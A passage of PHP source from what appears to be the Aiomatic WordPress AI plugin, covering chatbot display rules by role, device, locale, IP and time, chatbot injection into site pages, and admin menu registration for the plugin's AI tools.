                                if($fnd == false)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->no_show_content_wp) && is_array($data->no_show_content_wp) && !empty($data->no_show_content_wp)) 
                            {
                                $post_chars = aiomatic_get_post_characteristics();
                                $fnd = false;
                                foreach($data->no_show_content_wp as $showme)
                                {
                                    if(in_array($showme, $post_chars))
                                    {
                                        $fnd = true;
                                        break;
                                    }
                                }
                                if($fnd == true)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->no_show_locales) && is_array($data->no_show_locales) && !empty($data->no_show_locales)) 
                            {
                                $locale   = get_user_locale();
                                $fnd = false;
                                foreach($data->no_show_locales as $showme)
                                {
                                    if($showme == $locale)
                                    {
                                        $fnd = true;
                                        break;
                                    }
                                }
                                if($fnd == true)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->show_locales) && is_array($data->show_locales) && !empty($data->show_locales)) 
                            {
                                $locale   = get_user_locale();
                                $fnd = false;
                                foreach($data->show_locales as $showme)
                                {
                                    if($showme == $locale)
                                    {
                                        $fnd = true;
                                        break;
                                    }
                                }
                                if($fnd == false)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->no_show_roles) && is_array($data->no_show_roles) && !empty($data->no_show_roles)) 
                            {
                                $user   = wp_get_current_user();
                                $fnd = false;
                                if ( null !== $user ) 
                                { 
                                    foreach ( $user->roles as $role ) {
                                        if ( in_array( $role, $data->no_show_roles, true ) ) {
                                            $fnd = true;
                                            break;
                                        }
                                    }
                                    if($fnd == true)
                                    {
                                        continue;
                                    }
                                }
                            }
                            if (isset($data->show_roles) && is_array($data->show_roles) && !empty($data->show_roles)) 
                            {
                                $user   = wp_get_current_user();
                                $fnd = false;
                                if ( null !== $user ) 
                                { 
                                    foreach ( $user->roles as $role ) {
                                        if ( in_array( $role, $data->show_roles, true ) ) {
                                            $fnd = true;
                                            break;
                                        }
                                    }
                                }
                                if($fnd == false)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->no_show_devices) && is_array($data->no_show_devices) && !empty($data->no_show_devices)) 
                            {
                                require_once(dirname(__FILE__) . "/res/mobile-detect.php");
                                $fnd = false;
                                $detect = new AiomaticMobileDetect;
                                $device = 'desktop';
                                if ( $detect->isTablet() ) {
                                    $device = 'tablet';
                                }
                                if ( $detect->isMobile() && ! $detect->isTablet() ) {
                                    $device = 'mobile';
                                }
                                if ( in_array( $device, $data->no_show_devices, true ) ) 
                                {
                                    $fnd = true;
                                }
                                if($fnd == true)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->show_devices) && is_array($data->show_devices) && !empty($data->show_devices)) 
                            {
                                require_once(dirname(__FILE__) . "/res/mobile-detect.php");
                                $fnd = false;
                                $detect = new AiomaticMobileDetect;
                                $device = 'desktop';
                                if ( $detect->isTablet() ) {
                                    $device = 'tablet';
                                }
                                if ( $detect->isMobile() && ! $detect->isTablet() ) {
                                    $device = 'mobile';
                                }
                                if ( in_array( $device, $data->show_devices, true ) ) 
                                {
                                    $fnd = true;
                                }
                                if($fnd == false)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->no_show_oses) && is_array($data->no_show_oses) && !empty($data->no_show_oses)) 
                            {
                                $fnd = false;
                                foreach($data->no_show_oses as $showme)
                                {
                                    if ( aiomatic_detectOS($showme) ) 
                                    {
                                        $fnd = true;
                                        break;
                                    }
                                }
                                if($fnd == true)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->show_oses) && is_array($data->show_oses) && !empty($data->show_oses)) 
                            {
                                $fnd = false;
                                foreach($data->show_oses as $showme)
                                {
                                    if ( aiomatic_detectOS($showme) ) 
                                    {
                                        $fnd = true;
                                        break;
                                    }
                                }
                                if($fnd == false)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->no_show_browsers) && is_array($data->no_show_browsers) && !empty($data->no_show_browsers)) 
                            {
                                $fnd = false;
                                foreach($data->no_show_browsers as $showme)
                                {
                                    if ( aiomatic_detectBrowser($showme) ) 
                                    {
                                        $fnd = true;
                                        break;
                                    }
                                }
                                if($fnd == true)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->show_browsers) && is_array($data->show_browsers) && !empty($data->show_browsers)) 
                            {
                                $fnd = false;
                                foreach($data->show_browsers as $showme)
                                {
                                    if ( aiomatic_detectBrowser($showme) ) 
                                    {
                                        $fnd = true;
                                        break;
                                    }
                                }
                                if($fnd == false)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->show_ips) && !empty($data->show_ips)) 
                            {
                                $fnd = false;
                                $sips = preg_split('/\r\n|\r|\n/', $data->show_ips);
                                foreach($sips as $showme)
                                {
                                    if ( aiomatic_passIPs($showme) ) 
                                    {
                                        $fnd = true;
                                        break;
                                    }
                                }
                                if($fnd == false)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->no_show_ips) && !empty($data->no_show_ips)) 
                            {
                                $fnd = false;
                                $sips = preg_split('/\r\n|\r|\n/', $data->no_show_ips);
                                foreach($sips as $showme)
                                {
                                    if ( aiomatic_passIPs($showme) ) 
                                    {
                                        $fnd = true;
                                        break;
                                    }
                                }
                                if($fnd == true)
                                {
                                    continue;
                                }
                            }
                            if (isset($data->min_time) && $data->min_time != '' && isset($data->max_time) && $data->max_time != '') 
                            {
                                $always_show = false;
                                if (isset($data->always_show) && is_array($data->always_show)) 
                                {
                                    $this_day = date('l');
                                    if(in_array($this_day, $data->always_show))
                                    {
                                        $always_show = true;
                                    }
                                }
                                if($always_show === false)
                                {
                                    $exit = true;
                                    $mytime = date("H:i");
                                    $min_time = $data->min_time;
                                    $max_time = $data->max_time;
                                    $date1 = DateTime::createFromFormat('H:i', $mytime);
                                    $date2 = DateTime::createFromFormat('H:i', $min_time);
                                    $date3 = DateTime::createFromFormat('H:i', $max_time);
                                    if ($date1 > $date2 && $date1 < $date3)
                                    {
                                        $exit = false;
                                    }
                                    if($exit == true)
                                    {
                                        continue;
                                    }
                                }
                            }
                            $shortcode = $data->shortcode;
                            if(trim($shortcode) != '')
                            {
                                $global_chat_params = array( 'temperature' => '', 'top_p' => '', 'presence_penalty' => '', 'frequency_penalty' => '', 'model' => '', 'instant_response' => '', 'show_in_window' => 'true', 'disable_filters' => '1' );
                                $temp_arr = shortcode_parse_atts(stripslashes(trim($shortcode)));
                                if(!empty($temp_arr))
                                {
                                    $global_chat_params = $temp_arr;
                                    $global_chat_params['show_in_window'] = 'true';
                                    $global_chat_params['disable_filters'] = '1';
                                }
                                $chatrez = aiomatic_chat_shortcode($global_chat_params);
                                if(!empty($chatrez))
                                {
                                    $chatfound = true;
                                    echo $chatrez;
                                    break;
                                }
                            }
                        }
                    }
                }
            }
            function aiomatic_inject_chat()
            {
                $chatfound = false;
                $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                aiomatic_check_additional_chats($chatfound, $aiomatic_Chatbot_Settings);
                if($chatfound === false)
                {
                    $global_chat_params = array( 'temperature' => '', 'top_p' => '', 'presence_penalty' => '', 'frequency_penalty' => '', 'model' => '', 'instant_response' => '', 'show_in_window' => 'true' );
                    if (isset($aiomatic_Chatbot_Settings['custom_global_shortcode']) && trim($aiomatic_Chatbot_Settings['custom_global_shortcode']) != '')
                    {
                        $temp_arr = shortcode_parse_atts(trim($aiomatic_Chatbot_Settings['custom_global_shortcode']));
                        if(!empty($temp_arr))
                        {
                            $global_chat_params = $temp_arr;
                            $global_chat_params['show_in_window'] = 'true';
                        }
                    }
                    if (isset($aiomatic_Chatbot_Settings['god_mode_front_end']) && (trim($aiomatic_Chatbot_Settings['god_mode_front_end']) == 'front' || trim($aiomatic_Chatbot_Settings['god_mode_front_end']) == 'both'))
                    {
                        $global_chat_params['enable_god_mode'] = 'enabled';
                    }
                    echo aiomatic_chat_shortcode($global_chat_params);
                }
            }
            function aiomatic_inject_chat_admin()
            {
                $chatfound = false;
                $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                aiomatic_check_additional_chats($chatfound, $aiomatic_Chatbot_Settings);
                if($chatfound === false)
                {
                    $global_chat_params = array( 'temperature' => '', 'top_p' => '', 'presence_penalty' => '', 'frequency_penalty' => '', 'model' => '', 'instant_response' => '', 'show_in_window' => 'true' );
                    if (isset($aiomatic_Chatbot_Settings['custom_global_shortcode']) && trim($aiomatic_Chatbot_Settings['custom_global_shortcode']) != '')
                    {
                        $temp_arr = shortcode_parse_atts(trim($aiomatic_Chatbot_Settings['custom_global_shortcode']));
                        if(!empty($temp_arr))
                        {
                            $global_chat_params = $temp_arr;
                            $global_chat_params['show_in_window'] = 'true';
                        }
                    }
                    if (isset($aiomatic_Chatbot_Settings['god_mode_front_end']) && (trim($aiomatic_Chatbot_Settings['god_mode_front_end']) == 'back' || trim($aiomatic_Chatbot_Settings['god_mode_front_end']) == 'both'))
                    {
                        $global_chat_params['enable_god_mode'] = 'enabled';
                    }
                    echo aiomatic_chat_shortcode($global_chat_params);
                }
            }
            
            function aiomatic_is_gutenberg() 
            {
                if(isset($GLOBALS['post']->ID) && function_exists('has_blocks') && has_blocks($GLOBALS['post']->ID))
                {
                    return true;    
                } 
                else 
                {
                    return false;
                }
            }
            function aiomatic_enqueue_plugin_scripts($plugin_array)
            {
                $plugin_array["aiomatic_editor"] =  plugin_dir_url(__FILE__) . "scripts/classic-editor.js";
                return $plugin_array;
            }
            
            function aiomatic_register_buttons_editor($buttons)
            {
                array_push($buttons, "aiomatic");
                return $buttons;
            }
            function aiomatic_classic_mce_inline_script_always() 
            {
            	aiomatic_add_inline_js_object();
            }
            function aiomatic_classic_mce_inline_script() 
            {
                global $pagenow;
                if ($pagenow !== 'post.php' && $pagenow !== 'post-new.php' && $pagenow !== 'admin.php') {
                    return;
                }
            	aiomatic_add_inline_js_object();
            }
            function aiomatic_add_inline_js_object () 
            {
                $aiomatic_build_plugin_js_config = aiomatic_build_plugin_js_config();
                $name = md5(get_bloginfo());
                wp_enqueue_script($name . '-admin-footer-script', plugins_url('scripts/admin-footer.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
            	wp_add_inline_script( $name . '-admin-footer-script', 'var aiomatic = ' . json_encode($aiomatic_build_plugin_js_config) );
            }
            function aiomatic_build_plugin_js_config() 
            {
                $assistant_placement = 'below';
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['assistant_placement']) && $aiomatic_Main_Settings['assistant_placement'] != '') 
                {
                    $assistant_placement = $aiomatic_Main_Settings['assistant_placement'];
                }
                $nonce = wp_create_nonce('wp_rest' );
                $prompts  = aiomatic_get_assistant();
                if(!is_array($prompts))
                {
                    $prompts = array();
                }
                $aiomaticScriptVars = array(
                    'nonce'  =>  $nonce,
                    'ajaxurl' => admin_url('admin-ajax.php'),
                    'prompts' => $prompts,
                    'placement' => $assistant_placement,
                    'xicon' => plugins_url('/images/icon.png', __FILE__)
                );
                return $aiomaticScriptVars;
            }
            
            $plugin = plugin_basename(__FILE__);
            if(is_admin())
            {
                if(!aiomatic_is_gutenberg())
                {
                    $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                    if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on')
                    {
                        if (!isset($aiomatic_Main_Settings['assistant_disable']) || ($aiomatic_Main_Settings['assistant_disable'] == 'back' || $aiomatic_Main_Settings['assistant_disable'] == 'both'))
                        {
                            add_filter("mce_external_plugins", "aiomatic_enqueue_plugin_scripts");
                            add_action('admin_head', 'aiomatic_classic_mce_inline_script');
                            add_filter("mce_buttons", "aiomatic_register_buttons_editor");
                        }
                    }
                }
                if($_SERVER["REQUEST_METHOD"]==="POST" && !empty($_POST["coderevolution_max_input_var_data"])) 
                {
                    $vars = explode("&", $_POST["coderevolution_max_input_var_data"]);
                    $coderevolution_max_input_var_data = array();
                    foreach($vars as $var) {
                        parse_str($var, $variable);
                        aiomatic_assign_var($_POST, $variable, true);
                    }
                    unset($_POST["coderevolution_max_input_var_data"]);
                }
                require(dirname(__FILE__) . "/res/aiomatic-rules-list.php");
                require(dirname(__FILE__) . "/res/aiomatic-listicle-list.php");
                require(dirname(__FILE__) . "/res/aiomatic-youtube-list.php");
                require(dirname(__FILE__) . "/res/aiomatic-amazon-list.php");
                require(dirname(__FILE__) . "/res/aiomatic-review-list.php");
                require(dirname(__FILE__) . "/res/aiomatic-csv-list.php");
                require(dirname(__FILE__) . "/res/aiomatic-automation-list.php");
                require(dirname(__FILE__) . "/res/aiomatic-single-list.php");
                require(dirname(__FILE__) . "/res/aiomatic-spinner-list.php");
                require(dirname(__FILE__) . "/res/aiomatic-playground.php");
                require(dirname(__FILE__) . "/res/aiomatic-images.php");
                require(dirname(__FILE__) . "/res/aiomatic-chatbot.php");
                require(dirname(__FILE__) . "/res/aiomatic-shortcodes.php");
                require(dirname(__FILE__) . "/res/aiomatic-training.php");
                require(dirname(__FILE__) . "/res/aiomatic-assistants.php");
                require(dirname(__FILE__) . "/res/aiomatic-batch.php");
                require(dirname(__FILE__) . "/res/aiomatic-embeddings.php");
                require(dirname(__FILE__) . "/res/aiomatic-limits-statistics.php");
                require(dirname(__FILE__) . "/res/aiomatic-more.php");
                require(dirname(__FILE__) . "/res/aiomatic-extensions.php");
                require(dirname(__FILE__) . "/res/aiomatic-logs.php");
            }
            function aiomatic_admin_enqueue_all()
            {
                $name = md5(get_bloginfo());
                $reg_css_code = '.cr_auto_update{background-color:#fff8e5;margin:5px 20px 15px 20px;border-left:4px solid #fff;padding:12px 12px 12px 12px !important;border-left-color:#ffb900;}';
                wp_register_style( $name . '-plugin-reg-style', false );
                wp_enqueue_style( $name . '-plugin-reg-style' );
                wp_add_inline_style( $name . '-plugin-reg-style', $reg_css_code );
            }
            function aiomatic_add_activation_link($links)
            {
                $settings_link = '<a href="admin.php?page=aiomatic_admin_settings">' . esc_html__('Activate Plugin License', 'aiomatic-automatic-ai-content-writer') . '</a>';
                array_push($links, $settings_link);
                return $links;
            }
            add_action('admin_menu', 'aiomatic_register_my_custom_menu_page');
            add_action('network_admin_menu', 'aiomatic_register_my_custom_menu_page');
            function aiomatic_register_my_custom_menu_page()
            {
                $plugin = plugin_basename(__FILE__);
                $plugin_slug = explode('/', $plugin);
                $plugin_slug = $plugin_slug[0];
                $uoptions = array();
                $is_activated = aiomatic_is_activated($plugin_slug, $uoptions);
                if($is_activated === true || $is_activated === 2)
                {
                    require(dirname(__FILE__) . "/res/aiomatic-main.php");
                    $skip_main = false;
                    $skip_omni = false;
                    $skip_single = false;
                    $skip_bulk = false;
                    $skip_editor = false;
                    $skip_chatbot = false;
                    $skip_assistant = false;
                    $skip_forms = false;
                    $skip_embeddings = false;
                    $skip_batch = false;
                    $skip_training = false;
                    $skip_playground = false;
                    $skip_limits = false;
                    $skip_more = false;
                    $skip_ext = false;
                    $skip_logs = false;
                    $aiomatic_Menu_Rules = get_option('aiomatic_Menu_Rules', array());
                    $base_slug = 'aiomatic_admin_settings';
                    if(count($aiomatic_Menu_Rules) > 0)
                    {
                        $userid = get_current_user_id();
                        if($userid > 0)
                        {
                            $user = new WP_User( $userid );
                            if ( !empty( $user->roles ) && is_array( $user->roles ) ) 
                            {
                                $current_roles = $user->roles;
                                foreach($aiomatic_Menu_Rules as $menu_rule)
                                {
                                    if(isset($menu_rule[0]) && in_array($menu_rule[0], $current_roles) && isset($menu_rule[1]) && is_array($menu_rule[1]) && !empty($menu_rule[1]))
                                    {
                                        $base_slug = $menu_rule[1][0];
                                        if(!in_array('aiomatic_admin_settings', $menu_rule[1]))
                                        {
                                            $skip_main = true;
                                        }
                                        if(!in_array('aiomatic_omniblocks', $menu_rule[1]))
                                        {
                                            $skip_omni = true;
                                        }
                                        if(!in_array('aiomatic_single_panel', $menu_rule[1]))
                                        {
                                            $skip_single = true;
                                        }
                                        if(!in_array('aiomatic_bulk_creators', $menu_rule[1]))
                                        {
                                            $skip_bulk = true;
                                        }
                                        if(!in_array('aiomatic_spinner_panel', $menu_rule[1]))
                                        {
                                            $skip_editor = true;
                                        }
                                        if(!in_array('aiomatic_chatbot_panel', $menu_rule[1]))
                                        {
                                            $skip_assistant = true;
                                        }
                                        if(!in_array('aiomatic_assistants_panel', $menu_rule[1]))
                                        {
                                            $skip_chatbot = true;
                                        }
                                        if(!in_array('aiomatic_shortcodes_panel', $menu_rule[1]))
                                        {
                                            $skip_forms = true;
                                        }
                                        if(!in_array('aiomatic_embeddings_panel', $menu_rule[1]))
                                        {
                                            $skip_embeddings = true;
                                        }
                                        if(!in_array('aiomatic_batch_panel', $menu_rule[1]))
                                        {
                                            $skip_batch = true;
                                        }
                                        if(!in_array('aiomatic_openai_training', $menu_rule[1]))
                                        {
                                            $skip_training = true;
                                        }
                                        if(!in_array('aiomatic_playground_panel', $menu_rule[1]))
                                        {
                                            $skip_playground = true;
                                        }
                                        if(!in_array('aiomatic_openai_status', $menu_rule[1]) && $menu_rule[0] != 'administrator')
                                        {
                                            $skip_limits = true;
                                        }
                                        if(!in_array('aiomatic_more', $menu_rule[1]))
                                        {
                                            $skip_more = true;
                                        }
                                        if(!in_array('aiomatic_extensions', $menu_rule[1]))
                                        {
                                            $skip_ext = true;
                                        }
                                        if(!in_array('aiomatic_logs', $menu_rule[1]))
                                        {
                                            $skip_logs = true;
                                        }
                                    }
                                }
                            }
                        }
                    }
                    add_menu_page('Aiomatic AI Content Writer, Editor & Chatbot', 'Aiomatic', 'access_aiomatic_menu', $base_slug, $base_slug, plugins_url('images/icon.png', __FILE__));
                    if($skip_main == false)
                    {
                        $main = add_submenu_page('aiomatic_admin_settings', esc_html__("Settings", 'aiomatic-automatic-ai-content-writer'), esc_html__("Settings", 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_admin_settings');
                        add_action( 'load-' . $main, 'aiomatic_load_all_admin_js' );
                        add_action( 'load-' . $main, 'aiomatic_load_main_admin_js' );
                        add_action( 'load-' . $main, 'aiomatic_load_playground' );
                    }
                    $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', array());
                    if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') 
                    {
                        if($skip_omni == false)
                        {
                            $omniblocks = add_submenu_page($base_slug, esc_html__('AI OmniBlocks', 'aiomatic-automatic-ai-content-writer'), esc_html__('AI OmniBlocks', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_omniblocks', 'aiomatic_omniblocks');
                            add_action( 'load-' . $omniblocks, 'aiomatic_load_admin_js' );
                            add_action( 'load-' . $omniblocks, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $omniblocks, 'aiomatic_load_omni' );
                            add_action( 'load-' . $omniblocks, 'aiomatic_load_playground' );
                            add_action( 'load-' . $omniblocks, 'aiomatic_load_magic' );
                        }
                        if($skip_single == false)
                        {
                            $single = add_submenu_page($base_slug, esc_html__('Single AI Post Creator', 'aiomatic-automatic-ai-content-writer'), esc_html__('Single AI Post Creator', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_single_panel', 'aiomatic_single_panel');
                            add_action( 'load-' . $single, 'aiomatic_load_admin_js' );
                            add_action( 'load-' . $single, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $single, 'aiomatic_load_single' );
                            add_action( 'load-' . $single, 'aiomatic_load_playground' );
                        }
                        if($skip_bulk == false)
                        {
                            $merged = add_submenu_page($base_slug, esc_html__('Bulk AI Post Creators', 'aiomatic-automatic-ai-content-writer'), esc_html__('Bulk AI Post Creators', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_bulk_creators', 'aiomatic_bulk_creators');
                            add_action( 'load-' . $merged, 'aiomatic_load_admin_js' );
                            add_action( 'load-' . $merged, 'aiomatic_load_all_admin_js' );
                        }
                        if($skip_editor == false)
                        {
                            $auto = add_submenu_page($base_slug, esc_html__('AI Content Editor', 'aiomatic-automatic-ai-content-writer'), esc_html__('AI Content Editor', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_spinner_panel', 'aiomatic_spinner_panel');
                            add_action( 'load-' . $auto, 'aiomatic_load_post_admin_js' );
                            add_action( 'load-' . $auto, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $auto, 'aiomatic_load_playground' );
                            add_action( 'load-' . $auto, 'aiomatic_load_auto_rules_css' );
                            add_action( 'load-' . $auto, 'aiomatic_load_spin' );
                        }
                        if($skip_chatbot == false)
                        {
                            $chatbot = add_submenu_page($base_slug, esc_html__('AI Chatbot', 'aiomatic-automatic-ai-content-writer'), esc_html__('AI Chatbot', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_chatbot_panel', 'aiomatic_chatbot_panel');
                            add_action( 'load-' . $chatbot, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $chatbot, 'aiomatic_load_playground' );
                            add_action( 'load-' . $chatbot, 'aiomatic_load_live_preview' );
                        }
                        if($skip_assistant == false)
                        {
                            $assistants = add_submenu_page($base_slug, esc_html__('AI Assistants', 'aiomatic-automatic-ai-content-writer'), esc_html__('AI Assistants', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_assistants_panel', 'aiomatic_assistants_panel');
                            add_action( 'load-' . $assistants, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $assistants, 'aiomatic_load_playground' );
                            add_action( 'load-' . $assistants, 'aiomatic_load_assistants' );
                        }
                        if($skip_forms == false)
                        {
                            $shortcodes = add_submenu_page($base_slug, esc_html__('AI Shortcodes & Forms', 'aiomatic-automatic-ai-content-writer'), esc_html__('AI Shortcodes & Forms', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_shortcodes_panel', 'aiomatic_shortcodes_panel');
                            add_action( 'load-' . $shortcodes, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $shortcodes, 'aiomatic_load_playground' );
                            add_action( 'load-' . $shortcodes, 'aiomatic_load_forms' );
                        }
                        if($skip_embeddings == false)
                        {
                            $embeddings = add_submenu_page($base_slug, esc_html__('AI Embeddings', 'aiomatic-automatic-ai-content-writer'), esc_html__('AI Embeddings', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_embeddings_panel', 'aiomatic_embeddings_panel');
                            add_action( 'load-' . $embeddings, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $embeddings, 'aiomatic_load_playground' );
                            add_action( 'load-' . $embeddings, 'aiomatic_load_embeddings' );
                            add_action( 'load-' . $embeddings, 'aiomatic_load_auto_rules_css' );
                        }
                        if($skip_batch == false)
                        {
                            $batch = add_submenu_page($base_slug, esc_html__('AI Batch Requests', 'aiomatic-automatic-ai-content-writer'), esc_html__('AI Batch Requests', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_batch_panel', 'aiomatic_batch_panel');
                            add_action( 'load-' . $batch, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $batch, 'aiomatic_load_playground' );
                            add_action( 'load-' . $batch, 'aiomatic_load_batch' );
                        }
                        if($skip_training == false)
                        {
                            $training = add_submenu_page($base_slug, esc_html__('AI Model Training', 'aiomatic-automatic-ai-content-writer'), esc_html__('AI Model Training', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_openai_training', 'aiomatic_openai_training');
                            add_action( 'load-' . $training, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $training, 'aiomatic_load_playground' );
                            add_action( 'load-' . $training, 'aiomatic_load_training' );
                        }
                        if($skip_playground == false)
                        {
                            $playground = add_submenu_page($base_slug, esc_html__('AI Playground', 'aiomatic-automatic-ai-content-writer'), esc_html__('AI Playground', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_playground_panel', 'aiomatic_playground_panel');
                            add_action( 'load-' . $playground, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $playground, 'aiomatic_load_playground' );
                        }
                        if($skip_limits == false)
                        {
                            $openai_status = add_submenu_page($base_slug, esc_html__('Limits & Statistics', 'aiomatic-automatic-ai-content-writer'), esc_html__('Limits & Statistics', 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_openai_status', 'aiomatic_openai_status');
                            add_action( 'load-' . $openai_status, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $openai_status, 'aiomatic_load_playground' );
                            add_action( 'load-' . $openai_status, 'aiomatic_load_stats' );
                        }
                        if($skip_more == false)
                        {
                            $more = add_submenu_page($base_slug, esc_html__("More Features", 'aiomatic-automatic-ai-content-writer'), esc_html__("More Features", 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_more', 'aiomatic_more');
                            add_action( 'load-' . $more, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $more, 'aiomatic_load_playground' );
                        }
                        if($skip_ext == false)
                        {
                            $ext = add_submenu_page($base_slug, esc_html__("Aiomatic Extensions", 'aiomatic-automatic-ai-content-writer'), esc_html__("Aiomatic Extensions", 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_extensions', 'aiomatic_extensions');
                            add_action( 'load-' . $ext, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $ext, 'aiomatic_load_playground' );
                            add_action( 'load-' . $ext, 'aiomatic_load_magic' );
                        }
                        if($skip_logs == false)
                        {
                            $logs = add_submenu_page($base_slug, esc_html__("Activity & Logging", 'aiomatic-automatic-ai-content-writer'), esc_html__("Activity & Logging", 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_logs', 'aiomatic_logs');
                            add_action( 'load-' . $logs, 'aiomatic_load_all_admin_js' );
                            add_action( 'load-' . $logs, 'aiomatic_load_playground' );
                        }
                        $media = add_media_page( 'Aiomatic Images', 'Aiomatic Images', 'access_aiomatic_menu', 'aiomatic-automatic-ai-content-writer', 'aiomatic_media_page' );
                        add_action( 'load-' . $media, 'aiomatic_load_all_admin_js' );
                    }
                }
                else
                {
                    require(dirname(__FILE__) . "/res/aiomatic-activation.php");
                    $base_slug = 'aiomatic_admin_settings';
                    add_menu_page('Aiomatic AI Content Writer, Editor & Chatbot', 'Aiomatic', 'access_aiomatic_menu', $base_slug, $base_slug, plugins_url('images/icon.png', __FILE__));
                    $main = add_submenu_page('aiomatic_admin_settings', esc_html__("Activation", 'aiomatic-automatic-ai-content-writer'), esc_html__("Activation", 'aiomatic-automatic-ai-content-writer'), 'access_aiomatic_menu', 'aiomatic_admin_settings');
                    add_action( 'load-' . $main, 'aiomatic_load_all_admin_js' );
                    add_action( 'load-' . $main, 'aiomatic_load_main_admin_js' );
                    add_action( 'load-' . $main, 'aiomatic_load_activation' );
                }
            }
            function aiomatic_bulk_creators() 
            {
                $tab = isset($_GET['tab']) ? $_GET['tab'] : 'bulk';
                ?>
                <div class="wrap">
                    <div class="aiomatic-page-navigation-merged vertical left clearfix">
                        <div class="aiomatic-tabs-navigation-wrapper">
                            <div class="wrap gs_popuptype_holder seo_pops">
                                <h2 class="cr_center"><?php echo esc_html__("Bulk AI Post Creators", 'aiomatic-automatic-ai-content-writer');?></h2>
                            </div>
                            <nav class="nav-tab-wrapper">
                                <a href="?page=aiomatic_bulk_creators&tab=bulk" class="nav-tab <?php echo $tab == 'bulk' ? 'aiomatic-nav-tab-active' : ''; ?>"><?php echo esc_html__("Keywords/Titles To Blog Posts", 'aiomatic-automatic-ai-content-writer'); ?></a>
                                <a href="?page=aiomatic_bulk_creators&tab=youtube" class="nav-tab <?php echo $tab == 'youtube' ? 'aiomatic-nav-tab-active' : ''; ?>"><?php echo esc_html__("YouTube To Blog Posts", 'aiomatic-automatic-ai-content-writer'); ?></a>
                                <a href="?page=aiomatic_bulk_creators&tab=listicle" class="nav-tab <?php echo $tab == 'listicle' ? 'aiomatic-nav-tab-active' : ''; ?>"><?php echo esc_html__("Listicle Creator", 'aiomatic-automatic-ai-content-writer'); ?></a>
                                <a href="?page=aiomatic_bulk_creators&tab=amazon_roundup" class="nav-tab <?php echo $tab == 'amazon_roundup' ? 'aiomatic-nav-tab-active' : ''; ?>"><?php echo esc_html__("Amazon Product Roundup", 'aiomatic-automatic-ai-content-writer'); ?></a>
                                <a href="?page=aiomatic_bulk_creators&tab=amazon_review" class="nav-tab <?php echo $tab == 'amazon_review' ? 'aiomatic-nav-tab-active' : ''; ?>"><?php echo esc_html__("Amazon Product Review", 'aiomatic-automatic-ai-content-writer'); ?></a>
                                <a href="?page=aiomatic_bulk_creators&tab=csv" class="nav-tab <?php echo $tab == 'csv' ? 'aiomatic-nav-tab-active' : ''; ?>"><?php echo esc_html__("CSV AI Post Creator", 'aiomatic-automatic-ai-content-writer'); ?></a>
                            </nav>
                        </div>
                    </div>
                    <br/>
                    <br/>
                    <div>
                    <?php
                    switch ($tab) {
                        case 'bulk':
                            aiomatic_items_panel();
                            break;
                        case 'youtube':
                            aiomatic_youtube_panel();
                            break;
                        case 'listicle':
                            aiomatic_listicle_panel();
                            break;
                        case 'amazon_roundup':
                            aiomatic_amazon_panel();
                            break;
                        case 'amazon_review':
                            aiomatic_review_panel();
                            break;
                        case 'csv':
                            aiomatic_csv_panel();
                            break;
                        default:
                            echo esc_html__("Tab not found!", 'aiomatic-automatic-ai-content-writer');
                    }
                    ?>
                    </div>
                </div>
                <?php
            }
            function aiomatic_load_post_admin_js()
            {
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_post_files');
            }
            
            function aiomatic_admin_load_post_files()
            {
                $name = md5(get_bloginfo());
